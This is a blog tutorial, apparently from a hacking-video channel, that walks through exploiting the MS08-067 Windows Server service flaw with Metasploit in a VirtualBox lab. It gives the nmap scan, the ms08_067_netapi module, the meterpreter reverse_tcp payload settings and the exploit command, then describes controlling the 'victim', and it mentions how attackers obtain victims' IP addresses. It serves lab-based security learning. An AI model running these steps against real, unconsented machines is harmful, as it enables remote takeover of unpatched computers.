[Metasploit Tutorial] Hacking Windows XP using IP Addres

<div dir="ltr" style="text-align: left;" trbidi="on">Do <span class="IL_AD" id="IL_AD3">you think it</span> is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don't believe me, then read the full article.  video tut on this article soon...<br /><br /><br /><b>Details about Server Service Vulnerability(MS08-067):</b><br />Microsoft Windows Server service provides support for sharing resources such as files and print services over the network. <br /><br />The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The 'NetprPathCanonicalize()' function in the 'netapi32.dll' file is affected.<br /><br />A malicious request to vulnerable system results in complete compromise of vulnerable computers.<br />This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and <span class="IL_AD" id="IL_AD10">Windows Server 2008</span>. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.<br /><br /><b>Exploiting the MS08-067 using Metasploit:</b><br /><br /><span class="IL_AD" id="IL_AD7">Requirements</span>:<br /><br /><br /><ul><li>VirtualBox</li><li>Backtrack 5</li><li>Target OS(XP)</li></ul><b>Step 1:</b><br /><br />Create Two Virtual Machine(VM) namely "Target" and "BT5".  Install the XP inside Target VM and <span class="IL_AD" id="IL_AD2">Backtrack</span> inside BT5. Start the Two VMs.<br /><br />If you don't know how to create virtual machines , then please read this <a href="https://www.virtualbox.org/manual/UserManual.html" rel="nofollow" target="_blank">VirtualBox Manual</a>.<br /><br /><b>Step 2: Find the IP address of Target</b><br />Open The <span class="IL_AD" id="IL_AD9">command prompt</span> in the Target machine(XP). Type "<i><span style="color: #990000;">ipconfig</span></i>" to find the IP address of the <span class="IL_AD" id="IL_AD5">Target system</span>.<br /><br /><div class="info_box">Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IP Scanner.</div><br /><b>Step 3: Information Gathering</b><br />Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool. <br /><br />Open The Terminal in the BT5 machine(Backtrack) and type "<i><span style="color: #990000;">nmap -O 192.168.56.12</span></i>".  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKl4xlRfJRs2NVjzigRDfWcMh1U_FXGxu3TzxtrKfL6weuwwZVBSMURRHtVmpeUyh4QP7N9EbfQ9ON8iSqce4E2ZhhqmwvuFAKgZUTzPLpqyFWU0nSYz5uyC_qv8vx2oym5S08EywlwIY/s1600/Metasploit_Tutorials_way2hackintosh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKl4xlRfJRs2NVjzigRDfWcMh1U_FXGxu3TzxtrKfL6weuwwZVBSMURRHtVmpeUyh4QP7N9EbfQ9ON8iSqce4E2ZhhqmwvuFAKgZUTzPLpqyFWU0nSYz5uyC_qv8vx2oym5S08EywlwIY/s640/Metasploit_Tutorials_way2hackintosh.jpg" width="640" /></a></div><br /> <b>Step 4: Metasploit</b><br />Now open the Terminal in the BT5 machine(Backtrack) and Type "<i><span style="color: #990000;">msfconsole</span></i>".<br /><br />The msfconsole is the most popular interface to the Metasploit Framework. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.<br /><br />Let us use the Search command to find the exploit modules with the keyword netapi. Type "<i><span style="color: #990000;">search netap</span></i>i".  Now you can see the list of modules match with the netapi.<br /> <br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7S84nancE-dZTA86vcx8d7Rv9CuW9M5o7bReufTYS9l7xNZlS6sRIK9YB5B_MRXAURKKUxa0SWz78VWTWbGsWntOTK82Btf_hHc09oAQWbH6RDptTxkLon5ezjmW7URSq_QDL5sJUoK3U/s1600/Hacking_way2hackintosh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7S84nancE-dZTA86vcx8d7Rv9CuW9M5o7bReufTYS9l7xNZlS6sRIK9YB5B_MRXAURKKUxa0SWz78VWTWbGsWntOTK82Btf_hHc09oAQWbH6RDptTxkLon5ezjmW7URSq_QDL5sJUoK3U/s640/Hacking_way2hackintosh.jpg" width="640" /></a></div>We are going to exploit MS08-067 , so type "<i><span style="color: #990000;">use exploit/windows/smb/ms08_067_netapi</span></i>".<br /><br /><b>Step 5: Set Payload</b><br />As usual, let use the Reverse Tcp Payload for this exploit also. Type "<i><span style="color: #990000;">set payload windows/meterpreter/reverse_tcp</span></i>" in the msfconsole.<br /><br /><b>Step 6: Options</b><br />Type "<i><span style="color: #990000;">set LHOST 192.168.56.10</span></i>".  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing 'ifconfig' command in the Terminal.<br /><br />Type "<i><span style="color: #990000;">set RHOST 192.168.56.12</span></i>".  Here 192.168.56.12 is IP address of Target machine.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVdgbj4mDWc7HmEVrZaOfHwyN9ttPiSENpeiKQ19o_p4Dyw7c80mv5asDcLJBXNMsdaublEx98yO5qqk8tTo6eVU3yBGbX9ejzojBdsRfG06X4rp18OHugZIVXv0cHv15Pt_kgqiBvINI6/s1600/NetAPi-hack_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVdgbj4mDWc7HmEVrZaOfHwyN9ttPiSENpeiKQ19o_p4Dyw7c80mv5asDcLJBXNMsdaublEx98yO5qqk8tTo6eVU3yBGbX9ejzojBdsRfG06X4rp18OHugZIVXv0cHv15Pt_kgqiBvINI6/s1600/NetAPi-hack_3.jpg" /></a></div> <b>Step 7: Exploiting</b><br />Ok, it is time to exploit the vulnerability, type "<i><span style="color: #990000;">exploit</span></i>" in the console. If the exploit is successful, you can see the following result.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE8K_y4lvAaUA9_woKBuz9lYlS_zc_sn_XPJbSfRbT9W-_DUULp2hSEwCxgTUFPcNQBvwrr_OpNqOnTVjWbhRsMIfJ0U4BNbm4l-1A9qHUssoDeMj0fKSRN_oE_B9mJjvK6SNBbm_y-5id/s1600/Hacker_tutorial_4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE8K_y4lvAaUA9_woKBuz9lYlS_zc_sn_XPJbSfRbT9W-_DUULp2hSEwCxgTUFPcNQBvwrr_OpNqOnTVjWbhRsMIfJ0U4BNbm4l-1A9qHUssoDeMj0fKSRN_oE_B9mJjvK6SNBbm_y-5id/s640/Hacker_tutorial_4.jpg" width="640" /></a></div> Now we can control the remote computer using the meterpreter. For example, typing "screenshot" will grab the screenshot of the victim system.<br /><br />notice remember this is only for educational purpose dont miss use it  its dangerous for you and for other learn it enjoy it do it ethically :) have fun  and yeha subscribe my channel <a href="http://www.youtube.com/way2hackintosh" target="_blank">www.youtube.com/way2hackintosh </a>   </div>

• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4

• Previous
• Next

[Metasploit Tutorial] Hacking Windows XP using IP Addres

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don't believe me, then read the full article.  …

Read more »

32bit or 64 bit OS ? (explanation)

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: center;">32bit or 64 bit OS ? (explanation) small and little explanation on which os is good to use and what is difference it make so this is video tutorial so enjoy and give feeds :D <iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/9DWO3dVBh_w" width="560"></iframe></div></div>

32bit or 64 bit OS ? (explanation)

32bit or 64 bit OS ? (explanation) small and little explanation on which os is good to use and what is difference it make so this is video tutorial so enjoy and give feeds :D …

Read more »